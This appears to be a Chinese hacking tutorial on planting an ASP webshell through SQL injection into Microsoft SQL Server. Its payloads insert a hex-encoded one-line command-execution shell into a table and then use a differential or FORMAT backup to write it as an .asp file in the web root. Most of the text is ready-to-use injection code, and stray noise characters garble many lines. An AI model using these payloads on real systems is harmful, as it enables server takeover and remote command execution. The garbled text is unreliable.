减少备份文件大小,得到可执行的webshell成功率提高不少
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1 r7 d* o/ K+ M% ~# t# Y) U6 d一利用差异备份& F- \( Y' y) f- c' h/ t) I
加一个参数WITH DIFFERENTIAL9 e |7 M' {; {
- r6 X. ~5 L- k2 s Fdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s6 d: x/ U/ ^7 @2 H* G: I$ M" T: z4 [
create table [dbo].[xiaolu] ([cmd] [image]);. g N6 ?& O9 N6 k3 [: Z* S
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)3 h1 C+ b3 n7 E+ [* |9 k0 [% C& W
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL" [ f [' B9 k+ E( T0 j, f) c
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二利用完全FORMAT0 m9 u* Y) |6 J3 G8 s& p! w7 H
加一个参数WITH FROMAT+ A* X0 A/ ]" f
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以; l# F) z' C, p/ @& _' T7 @1 w v2 U
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
/ k( {+ z7 V2 o( Ccreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
' y, Y" E0 l+ C7 S/ y6 S2 x; Xdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT3 r1 V9 ?# `4 T N# k8 X
7 l7 k8 \; F) W4 I6 x# ~ |- o总的来说就是那么简单几句,下面以备份数据库model为例子
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; s, s' N% @6 _9 Bid=1;use model create table cmd(str image);insert into cmd(str) values (”)- @# B& z: @; z5 M9 l
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id=1;backup database model to disk=’你的路径‘ with differential,format;–
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